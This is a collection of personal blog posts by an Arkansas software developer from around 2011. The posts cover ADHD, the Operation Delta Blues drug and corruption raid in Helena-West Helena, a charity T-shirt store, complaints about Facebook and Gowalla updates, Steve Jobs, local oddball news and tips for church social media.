3. Organizational Tools / Calendars / Tasks / Notes / Reminders / etc.
   This is something I am currently struggling with since moving to the Mac from a Windows environment where every detail of my entire life was recorded in Microsoft Outlook. I am still fighting this battle but I think a solution might be in the near future regarding this area. As soon as I can get this streamlined, I can have a better idea as to where I stand on projects, etc.

For some more tips on staying focused, I highly recommend this article on battling distractions for people w/ ADHD…

Also, if you think that you might have ADHD, ask your family doctor to send you somewhere to be tested. Just finding out about ADHD made a huge difference in my life and it can yours too! If you have any questions about my ongoing battle, please feel free to drop me a note privately, or leave me a comment…

 

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I always thought Wheldon had a cool accent, that’s certainly going to be missed. Just like the NASCAR family, I know the IndyCar family is pretty close knit and I can’t imagine what they are going through right now. I can remember a point years ago after Dan had accomplished pretty much there was to accomplish in the Indy series he approached Ray Evernham about pursuing NASCAR, and I had really hoped to see that deal get worked out but it never did. The guy was 33 years old.

In case you missed the wreck footage, you can see that below:

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The first reports I got about what was going on came from Facebook, where a lot of my friends who remain in Helena-West Helena were posting reports of helicopters and swat teams all over town w/ loudspeakers, machine guns, and total chaos. I was traveling out of town to a meeting but called a relative who’s office is located at the airport and he said that when he arrived at work that morning he was greeted at the front entrance by a host of federal agents armed to the hilt that informed him he had the rest of the day off work because they had taken over the airport and the National Guard Armory to use as their staging ground. It was later learned that the Armory was where all of those arrested were being held and processed. Below is a video featuring a news report and the press conference that was held immediately following all of the arrests:

As for me personally, my thoughts on what all went down are mixed, I hated to see my hometown look like Gotham City minus Batman on the news again, but knowing that a lot of planning and intel went into this investigation helped me to realize that maybe, just maybe, my hometown can start the process of getting back on it’s feet again after decades of decline partly due to an amazing crime rate.

Those of you that follow my blog may already be aware, I launched a line of products online shortly after the event went down not only to commemorate the event but also to hopefully raise some money for 2 charities, The Humane Society of the Delta and The One, Inc. Anyone that has ever visited Helena-West Helena is probably already aware that there is a serious stray dog problem in the area.

Here’s an article that was posted by The Associated Press detailing the entire event, one of my old roommates, Vance Kalb, was even interviewed. Hey, it’s a small town, everybody knows everybody!

LITTLE ROCK, Ark. (AP) — As rampant drug dealing and violent crimes crept into the isolated Mississippi River city of Helena-West Helena, people in town knew something was up. But few bothered calling for help as gunfire rang out near the historic streets lined with boutique shops and boarded-up buildings.

“What are the police going to do? Nine times out of 10, they’re just going to look the other way,” Bubba Sullivan said, echoing distrust voiced throughout town.

Officials say a four-year federal investigation, dubbed “Operation Delta Blues,” revealed that mistrust may not have been entirely misplaced. Hundreds of law enforcement officers swarmed Helena-West Helena in the middle of the night last week and arrested dozens of people — five of them law enforcement officers accused of taking bribes to ignore and sometimes assist drug traffickers who shipped marijuana, cocaine and other illegal drugs throughout Arkansas, Mississippi and Tennessee.

The FBI said the probe focused on corrupt officers dealing with criminals who, in some cases, were convicted murderers.

“For far too long, a small minority of individuals has taken over this community,” Mayor Arnell Willis said.

Parts of Willis’ city of 12,000 remain undeniably inviting. Past a valley bathed in green vines, people have converted Victorian-style mansions into bed and breakfasts. Advertisements on more than one building boast the best Coca-Cola in town. Banners promote the historic downtown drag that drew tens of thousands of tourists just this month for the famous King Biscuit Blues Festival.

But a few blocks away, broken panes of glass and crumbling buildings hint at the crime that’s haunted this city in the Mississippi River Delta, where jobs are scarce and the poverty rate has climbed to 30 percent. Financial troubles have led the state to take over the local schools, twice. Eight killings have been reported this year.

Bill Brothers, 60, remembers wandering the neighborhood as a child, without making his parents fret. But Brothers, who buys and sells airplanes, said he has been far more cautious raising his three sons.

“It’s gotten where it’s not uncommon” to hear gunshots, he said. “It’s not something you’d be startled about anymore.”

Willis, who took over the mayor’s office in January, said he couldn’t go to church on Sundays without hearing from people worried about killings and corruption. So just months into the job, he headed to Little Rock to beg U.S. Attorney Christopher Thyer for help. “To be honest, I got tired of hearing the question,” Willis said. “Locally, we were doing all we could do.”

Thyer didn’t tell Willis during their three-hour meeting that his office already had been investigating for years. He also didn’t tell the mayor that at least four area police officers and a sheriff’s deputy allegedly had been taking $500 bribes to escort drug shipments through the city and use their authority to prevent arrests or prosecutions. Prosecutors say the deputy was caught on a wiretap referring to it all as “the good old boy system.”

The officers, who have all pleaded not guilty, were among defendants listed in seven federal indictments unsealed last week that brought 184 charges against some 70 people. The main indictment alleges a drug trafficking operation directed out of Helena-West Helena “was responsible for the distribution of large quantities of cocaine, crack cocaine, marijuana” and other drugs in east Arkansas, Memphis, Tenn., and Clarksdale, Miss., along with other areas.

Local pawn shop owner Vance Kalb III said he often would see and hear flashes of gunfire on the overnight security camera videos he watches every morning. “We all feel like it can’t get any worse, but it always does,” Kalb said. “There’s a lot of things that don’t even show up in the newspaper.” When he came into work the morning after last week’s busts, Kalb saw on the video flashes of emergency lights and heard arrests being made. The tapes were much quieter the rest of the week. Kalb has tried to stay positive after bust, even designing several T-shirts celebrating the operation. One shirt pokes fun at defendants’ nicknames listed in the indictments — “Ray Ray,” ”Cheeseburger,” ”The Mechanic” and “Pee Wee.” “You can’t do nothing but laugh,” Kalb said. “It’s sad, but at the same time, I’m happy it happened.”

Those arrested are being held in Little Rock, more than 100 miles away. People in Helena-West Helena say they’re grateful for outside agencies’ help, but can’t help but wonder if they’re only seeing a brief respite from the noise and violence.

“When they get out, what’s going to happen?” asked Linda Walters, who drives a school bus. “Is the killing going to start all over again?” Thyer and other law enforcement officials have said their investigation will continue, though they won’t comment on their next steps.

Residents, meanwhile, are coming out on their porches and yards again. For the first time many can remember, people say they have hope. Some are enjoying the silence. Walters had grown accustomed to dropping from her bed and hiding on the floor when she heard gunfire in the middle of the night. “Ever since they shot at my house, I hadn’t really gotten no rest,” Walters said. “I didn’t think anybody was going to do anything.” After last week’s arrests, she said she got a good night’s sleep.

Follow Nomaan Merchant at http://twitter.com/nomaanmerchant and Jeannie Nuss at http://twitter.com/jeannienuss

Hopefully, this information will help get everyone up to speed as to what all went down in my hometown and why I have been superglued to the news reports about the event. Please keep in mind that this was just phase one of the investigation, everyone that I have spoken to expects there to be many more arrests in the following weeks and months.

A couple of things that are of interest concerning Operation Delta Blues that I wanted to point out that might be worth watching…

• It has been reported by several outlets that a local defense attorney was named as the source for payments to the officers who provided protection to the people named in these indictments. That attorney hasn’t been named as far as I know, but you know good and well that deals are probably already being made on that front. Either the attorney is striking a deal or someone named in the earlier indictment is singing like a bird right now, possibly even both if that’s possible.
• The Washington Post mentioned that during the arraignment process one of the defendants named, Demetrius Colbert, said in court Thursday that he couldn’t afford to hire his own attorney. It was then that prosecutor Julie Peters told Judge Volpe that authorities had found $423,000 in cash inside an Oldsmobile Cutlass belonging to Colbert. Peters said Colbert also had a Cadillac and other luxury cars.  That’s a lot of cash to be taken out of a drug operation, I don’t care if it’s Pablo Escobar, that much cash missing is going to raise some eyebrows and possibly lead to a lot of time. If this Colbert guy, who is obviously connected pretty well to a syndicate, is moving that much in drugs, it’s likely the Feds will offer him a serious break in order to take down bigger players on down the line, possibly moving into an international phase of this case.
• Most of the people involved in this case are mid-level dealers, and honestly don’t have two nickels to rub together, obviously some have more than others, but for the most part being broke is just part of that lifestyle. I look for a lot of these guys, especially the smarter ones w/ families and weren’t involved on a daily basis w/ the organized crime side of this case, to cut some serious deals by cooperating. That’s how the federal system works. Everyone I have spoken w/ in Phillips County that is familiar w/ the case is waiting on the hat to drop and the next roundup net just as many, if not more offenders.

One other thing I wanted to make clear, I’m a pretty busy guy and will not be updating my blog very consistently with updates regarding this case because frankly I have too much going on, but I will be keeping up as closely as I can. Just don’t rely on me for fact, or late breaking news because I am pretty detached from the entire area, as I have been gone for over a decade now. There are however tons of news stories on Operation Delta Blues available online from news and media outlets across the United States, here’s a listing compliments of Google News if you are interested…

This is a follow-up to a recent post where I opened an online store selling Operation Delta Blues Merchandise. The proceeds from this store will go to support The Humane Society of the Delta, and The One, Inc. You can purchase merchandise here…

 

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Once I had gotten caught up on the story and was able to digest the magnitude of what all had gone on I got to thinking and decided to create a t-shirt that could be sold online to help raise money for some non-profits that I wanted to support. The next thing I did was to design a quick graphic that could go onto the t-shirts, that didn’t take me too long to do since I already had an idea in my head based on the events that had taken place w/ all of the helicopters and federal law enforcement agents that were involved. You can see my design by clicking on the links below to place your orders.

Fox16 News Story: Click here for entire post…

Updated: 10/13 11:25 pm  Published: 10/13 5:57 pm

The historic drug and public corruption round-up in Helena / West Helena is already taking on a marketing life of its own with “Operation Delta Blues” merchandise. What better way to commemorate a massive federal raid on your hometown than with a teddy bear or what about an “Operation Delta Blues” tank-top.

Cotton Rohrscheib sees the federal raid on his childhood hometown of Helena-West Helena as an end to corruption in the Arkansas delta. “Everyone you talk to down there, yes they are upset that they are in the news again because of something bad,” Rohrscheib says. “But I’m looking at this like the mayor (Arnell Willis) and other people have said, this is going to be a turning point, things are finally going to get turned around down there.”

So the Conway based software developer says he came up with the idea for the “King Cotton Thread Company” on-line store at 2am earlier this week. “The thing everyone was talking about was the helicopters that they saw so I was originally envisioning the state of Arkansas, the Delta with helicopters, so that’s where the idea came from,” Rohrscheib says.

The t-shirts, mugs, and teddy bears are already on sale and he hopes “Operation Delta Blues” is remembered as a positive moment. “The town has some of the best people you will ever meet in your life, some of the hardest working people, but over the last few years that area has been taking a hit every time you turn around,” Rohrscheib says.

Rohrscheib says the proceeds from his on-line store will go to help building an animal shelter in Phillips County and for caring for the homeless population in central Arkansas through the non-profit “The Van”, as long as the FBI or DEA don’t come calling for using their likeness on the website.

“I think I’m ok, I hope I’m ok, if not we’ll take it down,” Rohrscheib says. FOX16 News placed calls to both the Little Rock office of the DEA and FBI about the “Operation Delta Blues” themed store.

FBI spokesman Steve Frazier says the public is not free to use FBI seals or lettering without FBI permission. The DEA did not return our call. In response, artwork on the website was modified Thursday evening to eliminate direct references to either agency.

 

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• March 23, 2009 -- Interview – March 20th Show (1)
• March 20, 2009 -- Podcast: Phatguys Nascar Fantasy #032009 (0)
• April 9, 2008 -- Interviewed by Processor Magazine… (0)

The reasoning behind the tweet was a culmination of things lately that have really had me scratching my head. The first being Facebook’s latest upgrade. If you haven’t noticed the level of interaction on Facebook drop since this upgrade you should probably get your eyes checked. Honestly, no one knows what to do, where to go, etc., it’s even confusing to me at times and this is what I do for a living.  Granted, there probably hasn’t ever been a Facebook upgrade that was ever accepted with open arms by the community, people will complain about anything, especially Facebook users (who pay nothing by the way). In the past the tweaks and improvements put in place have always been intuitive enough for people to catch onto what’s going on after they get their bearings and in a week or two it’s a mute issue (until the next update of course). Not this last revision…

I can’t single out Facebook, one of my favorite apps of all-time, Gowalla, recently launched the biggest new release yet, and get this, it’s a complete departure from where they started. For myself, and about 2 dozen people I have spoken with lately, all of the reasons we fell in love w/ Gowalla are now gone. It’s sort of like dating a really pretty girl in high school and all of a sudden she shaves her head and grows a beard. One of the things I really liked about Gowalla was the custom location stamps, for instance, when I checked in at Wimpy’s Burgers and Fries on Gowalla, I could post to Facebook where I was at and let all of my friends know in a bold way by displaying Wimpy’s custom icon on my Facebook wall. That is now gone, in fact, the entire simple check-in process appears to have been replaced by “stories”, something that I discussed among friends this past weekend (see tweets).

I’m not saying that Gowalla shouldn’t ever change, that’s crazy! My problem is that they changed too much, all at once. When I first heard about the exciting changes coming at Gowalla I was pretty excited about the idea of stories, that was of course before I figured out that the simple check-in was gone!!  Here’s a post I did on the announcement of the new version…

I think sometimes we get way too anxious in this day and age to be the first to deliver some new innovation or improvement that no one else has ever seen before that we lose sight in our purpose. Let’s take for instance what we saw today w/ Netflix. They had this idea for something new, Qwikster, but announced today that they were just going to leave things alone for the time being…

• What kind of cojones did it take for Netflix to recall something they had invested hundreds, if not thousands, of hours into because it wasn’t a good fit for their consumers?

• Remember “New Coke”? Remember when they brought back “Coca-Cola Classic” because “New Coke” sucked?

I applaud Netflix for their maturity, and wish nothing but the best to Facebook and Gowalla, just wanted to share my two cents. What are your thoughts?

 

Related Posts:

• November 30, 2010 -- EP:021 – The Cotton Club Podcast (1)
• December 2, 2011 -- Facebook Acquires Gowalla… (2)
• September 14, 2011 -- Social Media Ministry Management Tips (2)
• November 19, 2010 -- Top 10 Brands, Services, and Startups of 2010 (3)
• November 3, 2010 -- EP:020 – The Cotton Club Podcast (2)
• September 22, 2010 -- The GeoSocial Shakedown (1)
• August 21, 2010 -- Presentation: GeoSocial Shakedown (0)
• June 24, 2010 -- EP:012 – The Cotton Club Podcast (0)
• June 14, 2010 -- Let’s Discuss Social Media Taboo (23)
• May 7, 2010 -- EP:008 – The Cotton Club Podcast (0)

The people who are crazy enough to think they can change the world are usually the ones that do…

Steve Jobs, died on October 5 aged 56, was the visionary co-founder, and later chief executive, of Apple, makers of the Macintosh computer, the iMac, the iPod, iPad, and iPhone, and the man behind the astonishing success of the computer animation firm Pixar, makers of Toy Story and Finding Nemo; in consequence he did more to determine what films we watch, how we listen to music, and how we work and play than any other person on the planet.

 

Related Posts:

• October 4, 2011 -- Apple Whois Information (0)
• November 30, 2010 -- EP:021 – The Cotton Club Podcast (1)
• November 19, 2010 -- Top 10 Brands, Services, and Startups of 2010 (3)
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• September 7, 2010 -- COCOCAST Episode 5 (0)
• June 11, 2010 -- EP:011 – The Cotton Club Podcast (2)
• April 27, 2010 -- EP:007 – The Cotton Club Podcast (2)
• April 7, 2010 -- Right Clicking on the Mac… (0)
• February 12, 2010 -- EP:003 – The Cotton Club Podcast (7)
• January 14, 2009 -- Steve Jobs Taking Leave (1)

Domain names in the .com and .net domains can now be registered with many different competing registrars. Go to http://www.internic.net for detailed information.

APPLE.COM.WWW.BEYONDWHOIS.COM
APPLE.COM.WAS.PWNED.BY.M1CROSOFT.COM
APPLE.COM.MORE.INFO.AT.WWW.BEYONDWHOIS.COM
APPLE.COM.IS.OWN3D.BY.NAKEDJER.COM
APPLE.COM.IS.0WN3D.BY.GULLI.COM
APPLE.COM.BEYONDWHOIS.COM
APPLE.COM.AT.WWW.BEYONDWHOIS.COM
APPLE.COM

Best hack ever??

 

Related Posts:

• October 5, 2011 -- RIP Steve Jobs (0)
• November 30, 2010 -- EP:021 – The Cotton Club Podcast (1)
• November 19, 2010 -- Top 10 Brands, Services, and Startups of 2010 (3)
• September 7, 2010 -- EP:016 – The Cotton Club Podcast (0)
• September 7, 2010 -- COCOCAST Episode 5 (0)
• June 11, 2010 -- EP:011 – The Cotton Club Podcast (2)
• April 27, 2010 -- EP:007 – The Cotton Club Podcast (2)
• April 7, 2010 -- Right Clicking on the Mac… (0)
• February 12, 2010 -- EP:003 – The Cotton Club Podcast (7)
• January 14, 2009 -- Steve Jobs Taking Leave (1)

Click on the screenshot above to visit Shane’s website…

 

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• February 3, 2011 -- Launched: Greenbrier Massage (0)
• February 3, 2011 -- Launched: Sonia Bell Insurance (0)
• September 21, 2010 -- Launched: UCA SGA (0)
• September 6, 2010 -- Current Projects: Knapp Law Firm (0)
• September 1, 2010 -- Current Projects: Elan Spa (0)
• June 10, 2010 -- Project: Fayetteville Shale (0)
• June 10, 2010 -- Project: Wordpress Theme (0)

In case you missed it, here’s a portion of Pete Boone’s (Ole Miss AD) letter to boosters this past week:

The fullness of the Ole Miss football experience that you deserve and have generously invested in, has not lived up to expectations recently.  Coach Nutt and I met today and discussed the current state of Ole Miss football.  Both of us are extremely disappointed in our performance this year.  We agreed that to be successful, this disappointment must be met head on with solutions for improvement.  We discussed several areas that needed improvement and I support Coach Nutt in his effort to correct those areas.

As I have said, Saturday’s performance and our running two-season SEC record are unacceptable. Our commitment to compete at a championship level is as strong as ever and we will succeed!  We need your continued support of the team as Saturday is another SEC weekend and we need you here!

Last weeks loss to Vanderbilt cracked me up, Vandy was running their 3rd and 4th string in and out of the game (one time I could have sworn they even had the flute player on the field). This week Ole Miss will also lose to Georgia and it will likely be just as funny…

 

Related Posts:

• October 24, 2011 -- Houston Nutt: Deja Vu in Oxford (0)
• November 10, 2011 -- Thoughts on Joe Paterno (7)
• January 14, 2010 -- EP:000 – The Cotton Club Podcast (1)
• October 21, 2009 -- SEC Suspends Officials from Arkansas-Florida Game (0)
• September 8, 2009 -- My Observations from the Razorback Opener (0)
• September 4, 2009 -- LeGarrette Blount Punches Boise State Player (0)
• August 17, 2009 -- SEC Ban on Social Media (0)
• January 3, 2009 -- Shocker: Utah handed it to Bama (0)
• December 11, 2007 -- Petrino quits Falcons to take Arkansas job (0)
• October 15, 2007 -- SI.com – Writers – Stewart Mandel: College Football Mailbag – Wednesday October 17, 2007 2:06PM (1)

Hide your kids,
Hide your wife,
Hide your husbands,
because they are sucking everybody’s toes up in here!

I would be remiss if I let every media publication in the country, from Gawker to the Daily Show, weigh-in on this whacky story originating from right here in my hometown, Conway, Arkansas. What’s the story you ask? Well, let’s just say we have a 50yr old pot-bellied male that’s reportedly running around town and sucking on women’s toes. Yep, this guy is seriously running around sucking on women’s toes and everyone that I have talked to around town about this has a bad case of the giggles.

Now, before I go any further, I should state for the record that I am opposed to toe sucking, and I do think it’s probably one of the craziest fetishes I have ever heard about, but to each their own. I heard on the news the other night where it’s not even a felony, it’s just a misdemeanor. So I guess if this guy is caught in the act, with a mouthful of big toe, he could just get a ticket and told to go on his merry way. Also, before any of you get upset with me for making light of this heinous crime where there are obvious victims, let me say that I have sympathy for each of the women who were victimized by this guy. Furthermore, I hope the Conway Police Department makes an arrest on the guy if for no other reason than I want to be able to wear open toe shoes again.

The fact that a Google Image Search turned up this photo rather quickly, along with several that shocked even me, tells me that this whole toe sucking thing probably goes on a lot more than we realize...

The whole chain of events started this week when 3 women reported to the Conway Police Department that they had been approached by this man, who is reportedly either Asian or Hispanic (how does a guy suck on your toes and you not figure out his nationality?) who tells them they have pretty feet and then asks if he can suck their toes. In fact, I have heard from a couple of different sources that he convinced the elderly lady to go along w/ his plan and he loved on her piglets for close to half an hour before he stopped and asked her if he could kiss her, in which she then told him no and that he was weird (apparently being kissed is where  she drew the line?). Several media outlets from Central Arkansas immediately reported the story, here’s our hometown newspaper’s initial report of the story…

Well, you would think that having his deviant actions exposed to the world and on every evening newscast in the state that it would deter him, or at lease pressure him into slowing down or moving on to another town right? Nope, he went right back to the same shopping center that he visited previously in search of more toes. This time the police have a pretty good description of the guy as well as the make and model of his pickup truck. The shocking thing about this story though is that this isn’t the first time Conway has had a toe sucking problem, here’s a story from the archives where a man from Conway was arrested in Fayetteville, back then they nicknamed him the “Toe Suck Fairy”, everyone in town is wondering if it’s not the exact same guy. I guess time will tell on this. I will try to keep you guys that are out of state updated on this case via my Twitter and Facebook streams, as well as here on my blog.

Random Thought: Can you imagine walking up onto something like that? A wacky dude mugging down on some elderly woman’s hammer toes?

Now, keep in mind that this is not even the craziest story to come out of Central Arkansas this month, not by a longshot. Something a little more tragic happened this month, something I have refrained from blogging about, but it’s also so bizarre that it’s hard to walk away from. In Maumelle recently a dead guy wearing a dog collar was found in the bathtub with a local television weatherman. According to the homeowner, the two had reportedly been doing coke the night before. All I can say is that must have been some pretty crazy cocaine…

If anything else whacky happens this month I will be sure to point them out, but I just can’t imagine anything topping these two tales. I do have a question though, has anyone seen Dwight David Honeycutt lately??

What are your thoughts about The Toadsuck Toe Sucker?

 

Related Posts:

• March 23, 2011 -- Toadsuck Daze 2011 Gowalla Stamp (0)
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• April 6, 2011 -- The Wimpy’s Experience… (0)
• April 5, 2011 -- Wimpy’s Opening Monday! (1)
• April 2, 2011 -- Central Interactive 2011 Announced (4)
• March 18, 2011 -- Conference Planning / Steering Committee Meetup (1)
• March 14, 2011 -- Large Tech Conference in Conway? (39)
• February 19, 2011 -- Projects: Conway 2025 (0)
• February 10, 2011 -- Snow Day 2011 in Conway… (0)

I sat down this evening to discuss social media with a friend from another Church, located out of state, and he was asking me for some suggestions in terms of managing their social media more effectively. We talked for the better part of three hours and I shared a lot of things that he hadn’t considered. I will share a few of the basics we discussed below in hopes that they will help you manage your social media ministry more effectively…

Utilize Both Facebook & Twitter

You have to realize that there are particular people that you are trying to connect to that are going to be on Facebook exclusively and won’t have any interest in Twitter whatsoever, and vise versa. You will find that your older demographic will primarily be Facebook and your younger demographic will lean more toward Twitter.  It’s for this reason that it’s very important to utilize both networks in your strategy.

Learn the Rules for Engagement Before Jumping In…

Saavy Twitter users are turned off by organizations or brands that are all about promoting their agenda (products, upcoming events, etc.) and do very little actual interaction with their followers. It’s important to keep an eye on your Twitter stream to make sure you are interacting with your followers just as much as you are promoting your agenda. If you are all about broadcasting content and don’t take into consideration that your followers are following you for a reason and want to interact with you, you might actually find yourself spinning your wheels and not having near the impact you could have potentially…

Pretty much the same rule applies to Facebook as it does Twitter, you should use Facebook to engage your audience. Instead of posting a link to an upcoming event to your wall, try elaborating on the link in your status message, or asking your users a question related to the event. This seems to work a lot better than just posting content like you would on a bulletin board. Another recommendation I make to just about everyone I know that manages their company or organizations page on Facebook is to pay attention to their stream. Not only should you concern yourself with what others are saying or posting on your wall, but you should also be sure not to broadcast the same message over and over again. Let’s say you have an event coming up in two weeks, you definitely want to post the event to your wall several times leading up to the event, but never post these updates back to back. By doing this you could find your fan base unfollowing you because you are a broken record, posting the same message, over and over again. I highly recommend breaking your posts up and posting some fun, engaging status updates or videos in between your posts promoting your event.

With Twitter and Facebook both, it’s very important to respond quickly to your followers / fans when they ask questions. I have found that the Twitter generation especially expects a rapid response when they ask a question, when you fail to respond quickly to questions or comments on Facebook and Twitter both, you run the risk of the user losing interest and moving on.

Think Out of the Box…

When engaging people using social media you have to keep in mind that you need to make an impression very early if you are going to influence them to use your product, brand, or organization. You also have to keep in mind that during the course of a normal day they are engaged hundreds, if not thousands, of times by other brands competing for their time. It helps to think outside the box. I am presently running a trivia campaign for our church that asks users to answer three simple questions related to a popular movie that our weekend service is going to be based upon. As an added perk, we are throwing in some tangible prizes like blu-ray movie players, netflix subscriptions, and movie tickets as an incentive to participate.

For the same series I referenced above, we also have a landing page inside of Facebook that allows visitors to see previews of our upcoming services, to share a link to the page on their walls or inbox to their friends, and finally they can click on a link and receive a free cup of coffee prior to the service if they should decide to attend. I have found that plans like this really do work and have an impact.

Don’t Be Afraid to Get Off Topic…

Today I posted a question on Facebook asking our fans what college football team they thought would win the Southeastern Conference Championship. I posted this question on the page for Wimpy’s Burgers & Fries. Granted, the post had nothing to do with Burgers & Fries, but at the end of the day, who wants to hear us talk about Burgers & Fries all the time? College Football just started last weekend and in the south, our target market, College Football is a big deal. I think our users, or fans, appreciate the fact that we share similar interests with them and are not all about selling them hamburgers on gameday!

Geosocial Has Arrived…

I am a huge fan of Geosocial networking, like Gowalla and Foursquare. These companies are maturing rapidly and will continue to do so over time. Both of the services I mentioned offer some great tools for ministries and non-profits to engage their audience and know who is visiting their campuses and what they are saying. There are way too many dynamic aspects to geosocial for me to go into this post but I highly recommend checking out these services.

Also, I wouldn’t waste a lot of time on Facebook Places as they have announced they are discontinuing Facebook Places for the time being.

 

Related Posts:

• November 3, 2010 -- EP:020 – The Cotton Club Podcast (2)
• September 22, 2010 -- The GeoSocial Shakedown (1)
• June 24, 2010 -- EP:012 – The Cotton Club Podcast (0)
• February 10, 2010 -- EP:001 – The Cotton Club Podcast (14)
• December 23, 2009 -- Some Personal, Business, & Development Goals for 2010 (3)
• December 2, 2011 -- Facebook Acquires Gowalla… (2)
• September 13, 2011 -- What Advice Do You Have For Teens Concerning Social Media? (0)
• August 21, 2010 -- Presentation: GeoSocial Shakedown (0)
• June 14, 2010 -- Let’s Discuss Social Media Taboo (23)
• May 7, 2010 -- EP:008 – The Cotton Club Podcast (0)

When a user converts their account to a Public Figure on Facebook they basically are becoming a “Page” where their friends are actually converted to “fans” or “likes”. If you manage a page on Facebook for your business or organization you are probably already aware that there are some limitations as to what a page can do. For the most part, a page can only operate inside Facebook by posting links, status updates, photos, and videos to their own wall. Granted, the page, or public profile, can interact with their fans on their own wall by responding to comments, etc., but that pretty much sums up what they are allowed to do. Again, for most celebrities or brands out there, this is probably okay, but let’s say you are a “Public Profile” but still would like to interact with your “friends” or “fans” by posting messages on their walls, etc., you no longer have this ability like you would if you were still a normal user, or “Profile”.

As brands become more and more involved in social media marketing, I can’t help but believe that Facebook will eventually implement something to allow for them to eventually post messages or respond to status updates from their fans at some point in the future. For celebrities or “Public Profiles” that use social media as a tool to interact with their friends, or fan base, on a daily basis, these limitations present some serious frustrations. I am presently working with two individuals that have public profiles that are extremely unhappy with these limitations and would love for Facebook to do something about this pretty quickly so they can get back to engaging their fan base like they use to with their standard profiles.

Any Potential Workarounds?

I have thought about some possible workarounds for this situation and haven’t been able to come up with anything of value other than setting up an entirely different profile and friending a limited amount of people that you want to engage and then unfriend them when you decide to engage others. Keeping an eye on the magic number of friends and making sure that it remains below 5000. This obviously is a lot of work and probably more of a headache than it’s worth.

Another potential solution, and I haven’t completely ruled this out as an option yet, is setting up a Facebook Profile for the user, and then establishing a group, “friends of John Doe” for example. John Doe, our celebrity or public figure, would be one of the administrators for the group and he / she could interact with as many people as he wanted without some of the limitations of a page, but at the end of the day he / she is still back to square one when it comes to posting messages on group members walls, they have to be friends in most cases to be able to interact.

• I’m just curious, has anyone else ran into this issue before?
• What solution or workaround were you able to use? 
• When will Facebook address this issue?

 

Related Posts:

• December 2, 2011 -- Facebook Acquires Gowalla… (2)
• October 10, 2011 -- Rant: Innovation -vs- What Works (4)
• September 14, 2011 -- Social Media Ministry Management Tips (2)
• September 13, 2011 -- What Advice Do You Have For Teens Concerning Social Media? (0)
• September 12, 2011 -- Thoughts on Influence Marketing (0)
• July 25, 2011 -- EP:024 – The Cotton Club Podcast (0)
• December 20, 2010 -- Green Cart Deli Hot Dogs FTW!! (0)
• December 18, 2010 -- Understanding Influence w/ Klout (0)
• November 30, 2010 -- EP:021 – The Cotton Club Podcast (1)
• November 19, 2010 -- Top 10 Brands, Services, and Startups of 2010 (3)

Another reason I am pretty excited is because I get to co-chair this talk w/ my good friend Keith Crawford, also known as @tsudo on Twitter, and another fellow believer… Keith and I have been going back to our own personal networks this evening and crowd-sourcing this question, “What advice do you have for teenagers concerning social media?”, and some of the responses we have received so far have been incredible.

On my Facebook wall alone I have received almost 20 comments in 2 hours and Keith has also had several good responses to his Facebook walls posts here and here and as well as his Twitter stream.

What advice do you have for teens concerning social media?

 

Related Posts:

• September 14, 2011 -- Social Media Ministry Management Tips (2)
• September 12, 2011 -- Thoughts on Influence Marketing (0)
• December 20, 2010 -- Green Cart Deli Hot Dogs FTW!! (0)
• December 18, 2010 -- Understanding Influence w/ Klout (0)
• November 3, 2010 -- EP:020 – The Cotton Club Podcast (2)
• October 18, 2010 -- The Hazards of Representing Client Brands Socially… (9)
• September 22, 2010 -- The GeoSocial Shakedown (1)
• August 18, 2010 -- EP:015 – The Cotton Club Podcast (2)
• June 24, 2010 -- EP:012 – The Cotton Club Podcast (0)
• February 14, 2010 -- Quick Thoughts on Google Buzz (0)

I have known for a while now that Gowalla was going to make this huge announcement but in my mind I don’t think I realized their vision would be this awesome. While Gowalla is going to remain one of the top check-in services out there, they are also going to expand the app to include two other awesome areas that are pretty much no-brainers in this day of social networking, storytelling and travel. Today, Josh Williams unveiled the new Gowalla 4.0 app at TechCrunch Disrupt.  Here are some comments from the TechCrunch website as to what you can expect to see in version 4.0:

Technically version 4.0, the new version bears little resemblance to the previous versions of the app. Gowalla is no longer predominantly a check-in service. That’s still one aspect of it, but the idea is now to focus on two key areas: travel and storytelling.

When you load up Gowalla, the first thing you see is still a main activity feed. Here you’ll find the activity from your friends. Because Gowalla isn’t completely pivoting away from their core location functionality, much of the data and social connections remain intact. But instead of a stream of check-ins, you’ll notice people hanging out together. They’re checking-in, but they’re also taking pictures and talking to one another in clusters that are known as “Stories”.

The main middle tab is now “Guides”. Here you’ll find curated travel guides for various places around the world. For example, if you load up the app in San Francisco, you’ll see the San Francisco guide, as well as the East Bay guide and the Stanford guide. You can quickly scroll through other guides not near you as well. And Gowalla has the ability to make special guides on the fly. For example, they made a TC Disrupt guide for event-goers.

Clicking on these guides loads up a bit of information about the city as well as all of the must-see spots. Again, because Gowalla has years worth of location data, they’re able to easily populate robust guides. Some of the locations are curated, some are based on check-in data and people favoriting places. The Gowalla “Highlights” feature also plays a role here.

The final tab is your personal profile area. Here you’ll find all of your pictures and all of your Stories.

There are several stories online regarding the Gowalla announcement, here’s a link to another good one. One other thing that I think is important to note, the state of Arkansas is a launch partner w/ Gowalla for this app.  Awesome!!!

I haven’t been this excited about an app release like this in a long time. I bet we do a podcast really soon on this…

 

Related Posts:

• September 22, 2010 -- The GeoSocial Shakedown (1)
• December 2, 2011 -- Facebook Acquires Gowalla… (2)
• September 14, 2011 -- Social Media Ministry Management Tips (2)
• November 3, 2010 -- EP:020 – The Cotton Club Podcast (2)
• August 21, 2010 -- Presentation: GeoSocial Shakedown (0)
• June 24, 2010 -- EP:012 – The Cotton Club Podcast (0)
• June 14, 2010 -- Let’s Discuss Social Media Taboo (23)
• May 7, 2010 -- EP:008 – The Cotton Club Podcast (0)
• April 27, 2010 -- EP:007 – The Cotton Club Podcast (2)
• April 13, 2010 -- Let’s Discuss Gowalla & Foursquare (17)

In this day and age I think Athletes and even movie stars have less of an influence than they once did. Musicians, especially from the hip-hop genre probably still have an influence over their fan base moreso than other music genres, but for the most part I think this has been on decline slowly since the fifties in the entertainment industry. Think about it.  In today’s society we have so much reality television and real life interaction via social media with everyday people that I think we are finding people that influence us from within our own communities.

In his book, The Tipping Point, Malcolm Gladwell discusses the way new ideas are transmitted by social influence. New products or fashions are introduced by innovators, who tend to be creative and nonconforming. Then early adopters join in, followed by the early majority. By this time, a substantial number of people are using the idea or product, and normative and informational influence encourages others to conform as well. The early majority is followed by a second group that Gladwell calls the late majority, and then finally by the laggards, who tend to be highly conventional and resistant to change.

